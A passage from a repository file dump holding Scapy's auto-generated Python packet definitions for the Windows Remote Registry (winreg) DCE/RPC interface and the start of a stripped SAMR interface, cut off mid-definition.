    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy RPC\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter\n\n# [ms-rrp] v39.0 (Mon, 21 Oct 2024)\n\n\"\"\"\nRPC definitions for the following interfaces:\n- winreg (v1.0): 338CD001-2244-31F1-AAAA-900038001003\nThis file is auto-generated by midl-to-scapy, do not modify.\n\"\"\"\n\nimport uuid\n\nfrom scapy.fields import PacketListField\nfrom scapy.layers.dcerpc import (\n    NDRPacket,\n    DceRpcOp,\n    NDRByteField,\n    NDRConfStrLenField,\n    NDRConfVarPacketListField,\n    NDRConfVarStrLenField,\n    NDRConfVarStrLenFieldUtf16,\n    NDRContextHandle,\n    NDRFullEmbPointerField,\n    NDRFullPointerField,\n    NDRIntField,\n    NDRPacketField,\n    NDRShortField,\n    register_dcerpc_interface,\n)\n\n\nclass OpenClassesRoot_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRShortField(\"ServerName\", 0)),\n        NDRIntField(\"samDesired\", 0),\n    ]\n\n\nclass OpenClassesRoot_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"phKey\", NDRContextHandle(), NDRContextHandle),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass OpenCurrentUser_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRShortField(\"ServerName\", 0)),\n        NDRIntField(\"samDesired\", 0),\n    ]\n\n\nclass OpenCurrentUser_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"phKey\", NDRContextHandle(), NDRContextHandle),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass OpenLocalMachine_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRShortField(\"ServerName\", 0)),\n        NDRIntField(\"samDesired\", 0),\n    ]\n\n\nclass OpenLocalMachine_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"phKey\", NDRContextHandle(), NDRContextHandle),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass OpenPerformanceData_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRShortField(\"ServerName\", 0)),\n        NDRIntField(\"samDesired\", 0),\n    ]\n\n\nclass OpenPerformanceData_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"phKey\", NDRContextHandle(), NDRContextHandle),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass OpenUsers_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRShortField(\"ServerName\", 0)),\n        NDRIntField(\"samDesired\", 0),\n    ]\n\n\nclass OpenUsers_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"phKey\", NDRContextHandle(), NDRContextHandle),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass BaseRegCloseKey_Request(NDRPacket):\n    fields_desc = [NDRPacketField(\"hKey\", NDRContextHandle(), NDRContextHandle)]\n\n\nclass BaseRegCloseKey_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"hKey\", NDRContextHandle(), NDRContextHandle),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass RPC_UNICODE_STRING(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRShortField(\"Length\", None, size_of=\"Buffer\", adjust=lambda _, x: (x * 2)),\n        NDRShortField(\n            \"MaximumLength\", None, size_of=\"Buffer\", adjust=lambda _, x: (x * 2)\n        ),\n        NDRFullEmbPointerField(\n            NDRConfVarStrLenFieldUtf16(\n                \"Buffer\",\n                \"\",\n                size_is=lambda pkt: (pkt.MaximumLength // 2),\n                length_is=lambda pkt: (pkt.Length // 2),\n            )\n        ),\n    ]\n\n\nclass RPC_SECURITY_DESCRIPTOR(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRFullEmbPointerField(\n            NDRConfVarStrLenField(\n                \"lpSecurityDescriptor\",\n                \"\",\n                size_is=lambda pkt: pkt.cbInSecurityDescriptor,\n                length_is=lambda pkt: pkt.cbOutSecurityDescriptor,\n            )\n        ),\n        NDRIntField(\"cbInSecurityDescriptor\", None, size_of=\"lpSecurityDescriptor\"),\n        NDRIntField(\"cbOutSecurityDescriptor\", None, size_of=\"lpSecurityDescriptor\"),\n    ]\n\n\nclass PRPC_SECURITY_ATTRIBUTES(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"nLength\", 0),\n        NDRPacketField(\n            \"RpcSecurityDescriptor\", RPC_SECURITY_DESCRIPTOR(), RPC_SECURITY_DESCRIPTOR\n        ),\n        NDRByteField(\"bInheritHandle\", 0),\n    ]\n\n\nclass BaseRegCreateKey_Request(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"hKey\", NDRContextHandle(), NDRContextHandle),\n        NDRPacketField(\"lpSubKey\", RPC_UNICODE_STRING(), RPC_UNICODE_STRING),\n        NDRPacketField(\"lpClass\", RPC_UNICODE_STRING(), RPC_UNICODE_STRING),\n        NDRIntField(\"dwOptions\", 0),\n        NDRIntField(\"samDesired\", 0),\n        NDRFullPointerField(\n            NDRPacketField(\n                \"lpSecurityAttributes\",\n                PRPC_SECURITY_ATTRIBUTES(),\n                PRPC_SECURITY_ATTRIBUTES,\n            )\n        ),\n        NDRFullPointerField(NDRIntField(\"lpdwDisposition\", 0)),\n    ]\n\n\nclass BaseRegCreateKey_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"phkResult\", NDRContextHandle(), NDRContextHandle),\n        NDRFullPointerField(NDRIntField(\"lpdwDisposition\", 0)),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass BaseRegDeleteKey_Request(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"hKey\", NDRContextHandle(), NDRContextHandle),\n        NDRPacketField(\"lpSubKey\", RPC_UNICODE_STRING(), RPC_UNICODE_STRING),\n    ]\n\n\nclass BaseRegDeleteKey_Response(NDRPacket):\n    fields_desc = [NDRIntField(\"status\", 0)]\n\n\nclass BaseRegDeleteValue_Request(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"hKey\", NDRContextHandle(), NDRContextHandle),\n        NDRPacketField(\"lpValueName\", RPC_UNICODE_STRING(), RPC_UNICODE_STRING),\n    ]\n\n\nclass BaseRegDeleteValue_Response(NDRPacket):\n    fields_desc = [NDRIntField(\"status\", 0)]\n\n\nclass PFILETIME(NDRPacket):\n    ALIGNMENT = (4, 4)\n    fields_desc = [NDRIntField(\"dwLowDateTime\", 0), NDRIntField(\"dwHighDateTime\", 0)]\n\n\nclass PRPC_UNICODE_STRING(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRShortField(\"Length\", None, size_of=\"Buffer\", adjust=lambda _, x: (x * 2)),\n        NDRShortField(\n            \"MaximumLength\", None, size_of=\"Buffer\", adjust=lambda _, x: (x * 2)\n        ),\n        NDRFullEmbPointerField(\n            NDRConfVarStrLenFieldUtf16(\n                \"Buffer\",\n                \"\",\n                size_is=lambda pkt: (pkt.MaximumLength // 2),\n                length_is=lambda pkt: (pkt.Length // 2),\n            )\n        ),\n    ]\n\n\nclass BaseRegEnumKey_Request(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"hKey\", NDRContextHandle(), NDRContextHandle),\n        NDRIntField(\"dwIndex\", 0),\n        NDRPacketField(\"lpNameIn\", RPC_UNICODE_STRING(), RPC_UNICODE_STRING),\n        NDRFullPointerField(\n            NDRPacketField(\"lpClassIn\", RPC_UNICODE_STRING(), RPC_UNICODE_STRING)\n        ),\n        NDRFullPointerField(\n            NDRPacketField(\"lpftLastWriteTime\", PFILETIME(), PFILETIME)\n        ),\n    ]\n\n\nclass BaseRegEnumKey_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"lpNameOut\", RPC_UNICODE_STRING(), RPC_UNICODE_STRING),\n        NDRFullPointerField(\n            NDRPacketField(\"lplpClassOut\", PRPC_UNICODE_STRING(), PRPC_UNICODE_STRING)\n        ),\n        NDRFullPointerField(\n            NDRPacketField(\"lpftLastWriteTime\", PFILETIME(), PFILETIME)\n        ),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass BaseRegEnumValue_Request(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"hKey\", NDRContextHandle(), NDRContextHandle),\n        NDRIntField(\"dwIndex\", 0),\n        NDRPacketField(\"lpValueNameIn\", RPC_UNICODE_STRING(), RPC_UNICODE_STRING),\n        NDRFullPointerField(NDRIntField(\"lpType\", 0)),\n        NDRFullPointerField(\n            NDRConfVarStrLenField(\n                \"lpData\",\n                \"\",\n                size_is=lambda pkt: (pkt.lpcbData if pkt.lpcbData else 0),\n                max_is=lambda pkt: 67108864,\n                length_is=lambda pkt: (pkt.lpcbLen if pkt.lpcbLen else 0),\n            )\n        ),\n        NDRFullPointerField(NDRIntField(\"lpcbData\", 0)),\n        NDRFullPointerField(NDRIntField(\"lpcbLen\", 0)),\n    ]\n\n\nclass BaseRegEnumValue_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"lpValueNameOut\", PRPC_UNICODE_STRING(), PRPC_UNICODE_STRING),\n        NDRFullPointerField(NDRIntField(\"lpType\", 0)),\n        NDRFullPointerField(\n            NDRConfVarStrLenField(\n                \"lpData\",\n                \"\",\n                size_is=lambda pkt: (pkt.lpcbData if pkt.lpcbData else 0),\n                max_is=lambda pkt: 67108864,\n                length_is=lambda pkt: (pkt.lpcbLen if pkt.lpcbLen else 0),\n            )\n        ),\n        NDRFullPointerField(NDRIntField(\"lpcbData\", 0)),\n        NDRFullPointerField(NDRIntField(\"lpcbLen\", 0)),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass BaseRegFlushKey_Request(NDRPacket):\n    fields_desc = [NDRPacketField(\"hKey\", NDRContextHandle(), NDRContextHandle)]\n\n\nclass BaseRegFlushKey_Response(NDRPacket):\n    fields_desc = [NDRIntField(\"status\", 0)]\n\n\nclass PRPC_SECURITY_DESCRIPTOR(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRFullEmbPointerField(\n            NDRConfVarStrLenField(\n                \"lpSecurityDescriptor\",\n                \"\",\n                size_is=lambda pkt: pkt.cbInSecurityDescriptor,\n                length_is=lambda pkt: pkt.cbOutSecurityDescriptor,\n            )\n        ),\n        NDRIntField(\"cbInSecurityDescriptor\", None, size_of=\"lpSecurityDescriptor\"),\n        NDRIntField(\"cbOutSecurityDescriptor\", None, size_of=\"lpSecurityDescriptor\"),\n    ]\n\n\nclass BaseRegGetKeySecurity_Request(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"hKey\", NDRContextHandle(), NDRContextHandle),\n        NDRIntField(\"SecurityInformation\", 0),\n        NDRPacketField(\n            \"pRpcSecurityDescriptorIn\",\n            PRPC_SECURITY_DESCRIPTOR(),\n            PRPC_SECURITY_DESCRIPTOR,\n        ),\n    ]\n\n\nclass BaseRegGetKeySecurity_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\n            \"pRpcSecurityDescriptorOut\",\n            PRPC_SECURITY_DESCRIPTOR(),\n            PRPC_SECURITY_DESCRIPTOR,\n        ),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass BaseRegLoadKey_Request(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"hKey\", NDRContextHandle(), NDRContextHandle),\n        NDRPacketField(\"lpSubKey\", RPC_UNICODE_STRING(), RPC_UNICODE_STRING),\n        NDRPacketField(\"lpFile\", RPC_UNICODE_STRING(), RPC_UNICODE_STRING),\n    ]\n\n\nclass BaseRegLoadKey_Response(NDRPacket):\n    fields_desc = [NDRIntField(\"status\", 0)]\n\n\nclass BaseRegOpenKey_Request(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"hKey\", NDRContextHandle(), NDRContextHandle),\n        NDRPacketField(\"lpSubKey\", RPC_UNICODE_STRING(), RPC_UNICODE_STRING),\n        NDRIntField(\"dwOptions\", 0),\n        NDRIntField(\"samDesired\", 0),\n    ]\n\n\nclass BaseRegOpenKey_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"phkResult\", NDRContextHandle(), NDRContextHandle),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass BaseRegQueryInfoKey_Request(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"hKey\", NDRContextHandle(), NDRContextHandle),\n        NDRPacketField(\"lpClassIn\", RPC_UNICODE_STRING(), RPC_UNICODE_STRING),\n    ]\n\n\nclass BaseRegQueryInfoKey_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"lpClassOut\", PRPC_UNICODE_STRING(), PRPC_UNICODE_STRING),\n        NDRIntField(\"lpcSubKeys\", 0),\n        NDRIntField(\"lpcbMaxSubKeyLen\", 0),\n        NDRIntField(\"lpcbMaxClassLen\", 0),\n        NDRIntField(\"lpcValues\", 0),\n        NDRIntField(\"lpcbMaxValueNameLen\", 0),\n        NDRIntField(\"lpcbMaxValueLen\", 0),\n        NDRIntField(\"lpcbSecurityDescriptor\", 0),\n        NDRPacketField(\"lpftLastWriteTime\", PFILETIME(), PFILETIME),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass BaseRegQueryValue_Request(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"hKey\", NDRContextHandle(), NDRContextHandle),\n        NDRPacketField(\"lpValueName\", RPC_UNICODE_STRING(), RPC_UNICODE_STRING),\n        NDRFullPointerField(NDRIntField(\"lpType\", 0)),\n        NDRFullPointerField(\n            NDRConfVarStrLenField(\n                \"lpData\",\n                \"\",\n                size_is=lambda pkt: (pkt.lpcbData if pkt.lpcbData else 0),\n                max_is=lambda pkt: 67108864,\n                length_is=lambda pkt: (pkt.lpcbLen if pkt.lpcbLen else 0),\n            )\n        ),\n        NDRFullPointerField(NDRIntField(\"lpcbData\", 0)),\n        NDRFullPointerField(NDRIntField(\"lpcbLen\", 0)),\n    ]\n\n\nclass BaseRegQueryValue_Response(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRIntField(\"lpType\", 0)),\n        NDRFullPointerField(\n            NDRConfVarStrLenField(\n                \"lpData\",\n                \"\",\n                size_is=lambda pkt: (pkt.lpcbData if pkt.lpcbData else 0),\n                max_is=lambda pkt: 67108864,\n                length_is=lambda pkt: (pkt.lpcbLen if pkt.lpcbLen else 0),\n            )\n        ),\n        NDRFullPointerField(NDRIntField(\"lpcbData\", 0)),\n        NDRFullPointerField(NDRIntField(\"lpcbLen\", 0)),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass BaseRegReplaceKey_Request(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"hKey\", NDRContextHandle(), NDRContextHandle),\n        NDRPacketField(\"lpSubKey\", RPC_UNICODE_STRING(), RPC_UNICODE_STRING),\n        NDRPacketField(\"lpNewFile\", RPC_UNICODE_STRING(), RPC_UNICODE_STRING),\n        NDRPacketField(\"lpOldFile\", RPC_UNICODE_STRING(), RPC_UNICODE_STRING),\n    ]\n\n\nclass BaseRegReplaceKey_Response(NDRPacket):\n    fields_desc = [NDRIntField(\"status\", 0)]\n\n\nclass BaseRegRestoreKey_Request(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"hKey\", NDRContextHandle(), NDRContextHandle),\n        NDRPacketField(\"lpFile\", RPC_UNICODE_STRING(), RPC_UNICODE_STRING),\n        NDRIntField(\"Flags\", 0),\n    ]\n\n\nclass BaseRegRestoreKey_Response(NDRPacket):\n    fields_desc = [NDRIntField(\"status\", 0)]\n\n\nclass BaseRegSaveKey_Request(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"hKey\", NDRContextHandle(), NDRContextHandle),\n        NDRPacketField(\"lpFile\", RPC_UNICODE_STRING(), RPC_UNICODE_STRING),\n        NDRFullPointerField(\n            NDRPacketField(\n                \"pSecurityAttributes\",\n                PRPC_SECURITY_ATTRIBUTES(),\n                PRPC_SECURITY_ATTRIBUTES,\n            )\n        ),\n    ]\n\n\nclass BaseRegSaveKey_Response(NDRPacket):\n    fields_desc = [NDRIntField(\"status\", 0)]\n\n\nclass BaseRegSetKeySecurity_Request(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"hKey\", NDRContextHandle(), NDRContextHandle),\n        NDRIntField(\"SecurityInformation\", 0),\n        NDRPacketField(\n            \"pRpcSecurityDescriptor\",\n            PRPC_SECURITY_DESCRIPTOR(),\n            PRPC_SECURITY_DESCRIPTOR,\n        ),\n    ]\n\n\nclass BaseRegSetKeySecurity_Response(NDRPacket):\n    fields_desc = [NDRIntField(\"status\", 0)]\n\n\nclass BaseRegSetValue_Request(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"hKey\", NDRContextHandle(), NDRContextHandle),\n        NDRPacketField(\"lpValueName\", RPC_UNICODE_STRING(), RPC_UNICODE_STRING),\n        NDRIntField(\"dwType\", 0),\n        NDRConfStrLenField(\"lpData\", \"\", size_is=lambda pkt: pkt.cbData),\n        NDRIntField(\"cbData\", None, size_of=\"lpData\"),\n    ]\n\n\nclass BaseRegSetValue_Response(NDRPacket):\n    fields_desc = [NDRIntField(\"status\", 0)]\n\n\nclass BaseRegUnLoadKey_Request(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"hKey\", NDRContextHandle(), NDRContextHandle),\n        NDRPacketField(\"lpSubKey\", RPC_UNICODE_STRING(), RPC_UNICODE_STRING),\n    ]\n\n\nclass BaseRegUnLoadKey_Response(NDRPacket):\n    fields_desc = [NDRIntField(\"status\", 0)]\n\n\nclass BaseRegGetVersion_Request(NDRPacket):\n    fields_desc = [NDRPacketField(\"hKey\", NDRContextHandle(), NDRContextHandle)]\n\n\nclass BaseRegGetVersion_Response(NDRPacket):\n    fields_desc = [NDRIntField(\"lpdwVersion\", 0), NDRIntField(\"status\", 0)]\n\n\nclass OpenCurrentConfig_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRShortField(\"ServerName\", 0)),\n        NDRIntField(\"samDesired\", 0),\n    ]\n\n\nclass OpenCurrentConfig_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"phKey\", NDRContextHandle(), NDRContextHandle),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass PRVALENT(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRFullEmbPointerField(\n            NDRPacketField(\"ve_valuename\", PRPC_UNICODE_STRING(), PRPC_UNICODE_STRING)\n        ),\n        NDRIntField(\"ve_valuelen\", 0),\n        NDRFullEmbPointerField(NDRIntField(\"ve_valueptr\", 0)),\n        NDRIntField(\"ve_type\", 0),\n    ]\n\n\nclass BaseRegQueryMultipleValues_Request(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"hKey\", NDRContextHandle(), NDRContextHandle),\n        NDRConfVarPacketListField(\n            \"val_listIn\",\n            [],\n            PRVALENT,\n            size_is=lambda pkt: pkt.num_vals,\n            length_is=lambda pkt: pkt.num_vals,\n        ),\n        NDRIntField(\"num_vals\", None, size_of=\"val_listIn\"),\n        NDRFullPointerField(\n            NDRConfVarStrLenField(\n                \"lpvalueBuf\",\n                \"\",\n                size_is=lambda pkt: pkt.ldwTotsize,\n                length_is=lambda pkt: pkt.ldwTotsize,\n            )\n        ),\n        NDRIntField(\"ldwTotsize\", None, size_of=\"lpvalueBuf\"),\n    ]\n\n\nclass BaseRegQueryMultipleValues_Response(NDRPacket):\n    fields_desc = [\n        NDRConfVarPacketListField(\n            \"val_listOut\",\n            [],\n            PRVALENT,\n            size_is=lambda pkt: pkt.num_vals,\n            length_is=lambda pkt: pkt.num_vals,\n        ),\n        NDRFullPointerField(\n            NDRConfVarStrLenField(\n                \"lpvalueBuf\",\n                \"\",\n                size_is=lambda pkt: pkt.ldwTotsize,\n                length_is=lambda pkt: pkt.ldwTotsize,\n            )\n        ),\n        NDRIntField(\"ldwTotsize\", None, size_of=\"lpvalueBuf\"),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass BaseRegSaveKeyEx_Request(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"hKey\", NDRContextHandle(), NDRContextHandle),\n        NDRPacketField(\"lpFile\", RPC_UNICODE_STRING(), RPC_UNICODE_STRING),\n        NDRFullPointerField(\n            NDRPacketField(\n                \"pSecurityAttributes\",\n                PRPC_SECURITY_ATTRIBUTES(),\n                PRPC_SECURITY_ATTRIBUTES,\n            )\n        ),\n        NDRIntField(\"Flags\", 0),\n    ]\n\n\nclass BaseRegSaveKeyEx_Response(NDRPacket):\n    fields_desc = [NDRIntField(\"status\", 0)]\n\n\nclass OpenPerformanceText_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRShortField(\"ServerName\", 0)),\n        NDRIntField(\"samDesired\", 0),\n    ]\n\n\nclass OpenPerformanceText_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"phKey\", NDRContextHandle(), NDRContextHandle),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass OpenPerformanceNlsText_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRShortField(\"ServerName\", 0)),\n        NDRIntField(\"samDesired\", 0),\n    ]\n\n\nclass OpenPerformanceNlsText_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"phKey\", NDRContextHandle(), NDRContextHandle),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass BaseRegQueryMultipleValues2_Request(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"hKey\", NDRContextHandle(), NDRContextHandle),\n        NDRConfVarPacketListField(\n            \"val_listIn\",\n            [],\n            PRVALENT,\n            size_is=lambda pkt: pkt.num_vals,\n            length_is=lambda pkt: pkt.num_vals,\n        ),\n        NDRIntField(\"num_vals\", None, size_of=\"val_listIn\"),\n        NDRFullPointerField(\n            NDRConfVarStrLenField(\n                \"lpvalueBuf\",\n                \"\",\n                size_is=lambda pkt: pkt.ldwTotsize,\n                length_is=lambda pkt: pkt.ldwTotsize,\n            )\n        ),\n        NDRIntField(\"ldwTotsize\", None, size_of=\"lpvalueBuf\"),\n    ]\n\n\nclass BaseRegQueryMultipleValues2_Response(NDRPacket):\n    fields_desc = [\n        NDRConfVarPacketListField(\n            \"val_listOut\",\n            [],\n            PRVALENT,\n            size_is=lambda pkt: pkt.num_vals,\n            length_is=lambda pkt: pkt.num_vals,\n        ),\n        NDRFullPointerField(\n            NDRConfVarStrLenField(\n                \"lpvalueBuf\",\n                \"\",\n                size_is=lambda pkt: pkt.ldwTotsize,\n                length_is=lambda pkt: pkt.ldwTotsize,\n            )\n        ),\n        NDRIntField(\"ldwRequiredSize\", 0),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass BaseRegDeleteKeyEx_Request(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"hKey\", NDRContextHandle(), NDRContextHandle),\n        NDRPacketField(\"lpSubKey\", RPC_UNICODE_STRING(), RPC_UNICODE_STRING),\n        NDRIntField(\"AccessMask\", 0),\n        NDRIntField(\"Reserved\", 0),\n    ]\n\n\nclass BaseRegDeleteKeyEx_Response(NDRPacket):\n    fields_desc = [NDRIntField(\"status\", 0)]\n\n\nWINREG_OPNUMS = {\n    0: DceRpcOp(OpenClassesRoot_Request, OpenClassesRoot_Response),\n    1: DceRpcOp(OpenCurrentUser_Request, OpenCurrentUser_Response),\n    2: DceRpcOp(OpenLocalMachine_Request, OpenLocalMachine_Response),\n    3: DceRpcOp(OpenPerformanceData_Request, OpenPerformanceData_Response),\n    4: DceRpcOp(OpenUsers_Request, OpenUsers_Response),\n    5: DceRpcOp(BaseRegCloseKey_Request, BaseRegCloseKey_Response),\n    6: DceRpcOp(BaseRegCreateKey_Request, BaseRegCreateKey_Response),\n    7: DceRpcOp(BaseRegDeleteKey_Request, BaseRegDeleteKey_Response),\n    8: DceRpcOp(BaseRegDeleteValue_Request, BaseRegDeleteValue_Response),\n    9: DceRpcOp(BaseRegEnumKey_Request, BaseRegEnumKey_Response),\n    10: DceRpcOp(BaseRegEnumValue_Request, BaseRegEnumValue_Response),\n    11: DceRpcOp(BaseRegFlushKey_Request, BaseRegFlushKey_Response),\n    12: DceRpcOp(BaseRegGetKeySecurity_Request, BaseRegGetKeySecurity_Response),\n    13: DceRpcOp(BaseRegLoadKey_Request, BaseRegLoadKey_Response),\n    # 14: Opnum14NotImplemented,\n    15: DceRpcOp(BaseRegOpenKey_Request, BaseRegOpenKey_Response),\n    16: DceRpcOp(BaseRegQueryInfoKey_Request, BaseRegQueryInfoKey_Response),\n    17: DceRpcOp(BaseRegQueryValue_Request, BaseRegQueryValue_Response),\n    18: DceRpcOp(BaseRegReplaceKey_Request, BaseRegReplaceKey_Response),\n    19: DceRpcOp(BaseRegRestoreKey_Request, BaseRegRestoreKey_Response),\n    20: DceRpcOp(BaseRegSaveKey_Request, BaseRegSaveKey_Response),\n    21: DceRpcOp(BaseRegSetKeySecurity_Request, BaseRegSetKeySecurity_Response),\n    22: DceRpcOp(BaseRegSetValue_Request, BaseRegSetValue_Response),\n    23: DceRpcOp(BaseRegUnLoadKey_Request, BaseRegUnLoadKey_Response),\n    # 24: Opnum24NotImplemented,\n    # 25: Opnum25NotImplemented,\n    26: DceRpcOp(BaseRegGetVersion_Request, BaseRegGetVersion_Response),\n    27: DceRpcOp(OpenCurrentConfig_Request, OpenCurrentConfig_Response),\n    # 28: Opnum28NotImplemented,\n    29: DceRpcOp(\n        BaseRegQueryMultipleValues_Request, BaseRegQueryMultipleValues_Response\n    ),\n    # 30: Opnum30NotImplemented,\n    31: DceRpcOp(BaseRegSaveKeyEx_Request, BaseRegSaveKeyEx_Response),\n    32: DceRpcOp(OpenPerformanceText_Request, OpenPerformanceText_Response),\n    33: DceRpcOp(OpenPerformanceNlsText_Request, OpenPerformanceNlsText_Response),\n    34: DceRpcOp(\n        BaseRegQueryMultipleValues2_Request, BaseRegQueryMultipleValues2_Response\n    ),\n    35: DceRpcOp(BaseRegDeleteKeyEx_Request, BaseRegDeleteKeyEx_Response),\n}\nregister_dcerpc_interface(\n    name=\"winreg\",\n    uuid=uuid.UUID(\"338CD001-2244-31F1-AAAA-900038001003\"),\n    version=\"1.0\",\n    opnums=WINREG_OPNUMS,\n)\n"
  },
  {
    "path": "scapy/layers/msrpce/raw/ms_samr.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy RPC\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter\n\n# ms-samr.idl compiled on 06/07/2025\n# This file is a stripped version ! Use scapy-rpc for the full.\n\"\"\"\nRPC definitions for the following interfaces:\n- samr (v1.0): 12345778-1234-ABCD-EF00-0123456789AC\nThis file is auto-generated by midl-to-scapy, do not modify.\n\"\"\"\n\nimport uuid\n\n\nfrom scapy.layers.dcerpc import (\n    NDRPacket,\n    DceRpcOp,\n    NDRConfPacketListField,\n    NDRConfVarStrLenField,\n    NDRConfVarStrLenFieldUtf16,\n    NDRContextHandle,\n    NDRFullEmbPointerField,\n    NDRFullPointerField,\n    NDRIntField,\n    NDRPacketField,\n    NDRShortField,\n    register_dcerpc_interface,\n)\n\n\nclass SamrConnect_Request(NDRPacket):\n    fields_desc = [\n        NDRFullPointerField(NDRShortField(\"ServerName\", 0)),\n        NDRIntField(\"DesiredAccess\", 0),\n    ]\n\n\nclass SamrConnect_Response(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"ServerHandle\", NDRContextHandle(), NDRContextHandle),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nclass RPC_UNICODE_STRING(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRShortField(\"Length\", None, size_of=\"Buffer\", adjust=lambda _, x: (x * 2)),\n        NDRShortField(\n            \"MaximumLength\", None, size_of=\"Buffer\", adjust=lambda _, x: (x * 2)\n        ),\n        NDRFullEmbPointerField(\n            NDRConfVarStrLenFieldUtf16(\n                \"Buffer\",\n                \"\",\n                size_is=lambda pkt: (pkt.MaximumLength // 2),\n                length_is=lambda pkt: (pkt.Length // 2),\n            )\n        ),\n    ]\n\n\nclass PSAMPR_RID_ENUMERATION(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"RelativeId\", 0),\n        NDRPacketField(\"Name\", RPC_UNICODE_STRING(), RPC_UNICODE_STRING),\n    ]\n\n\nclass PSAMPR_ENUMERATION_BUFFER(NDRPacket):\n    ALIGNMENT = (4, 8)\n    fields_desc = [\n        NDRIntField(\"EntriesRead\", None, size_of=\"Buffer\"),\n        NDRFullEmbPointerField(\n            NDRConfPacketListField(\n                \"Buffer\",\n                [PSAMPR_RID_ENUMERATION()],\n                PSAMPR_RID_ENUMERATION,\n                size_is=lambda pkt: pkt.EntriesRead,\n            )\n        ),\n    ]\n\n\nclass SamrEnumerateDomainsInSamServer_Request(NDRPacket):\n    fields_desc = [\n        NDRPacketField(\"ServerHandle\", NDRContextHandle(), NDRContextHandle),\n        NDRIntField(\"EnumerationContext\", 0),\n        NDRIntField(\"PreferedMaximumLength\", 0),\n    ]\n\n\nclass SamrEnumerateDomainsInSamServer_Response(NDRPacket):\n    fields_desc = [\n        NDRIntField(\"EnumerationContext\", 0),\n        NDRFullPointerField(\n            NDRPacketField(\n                \"Buffer\", PSAMPR_ENUMERATION_BUFFER(), PSAMPR_ENUMERATION_BUFFER\n            )\n        ),\n        NDRIntField(\"CountReturned\", 0),\n        NDRIntField(\"status\", 0),\n    ]\n\n\nSAMR_OPNUMS = {\n    0: DceRpcOp(SamrConnect_Request, SamrConnect_Response),\n    # 4: Opnum4NotUsedOnWire,\n    6: DceRpcOp(\n        SamrEnumerateDomainsInSamServer_Request,\n        SamrEnumerateDomainsInSamServer_Response,\n    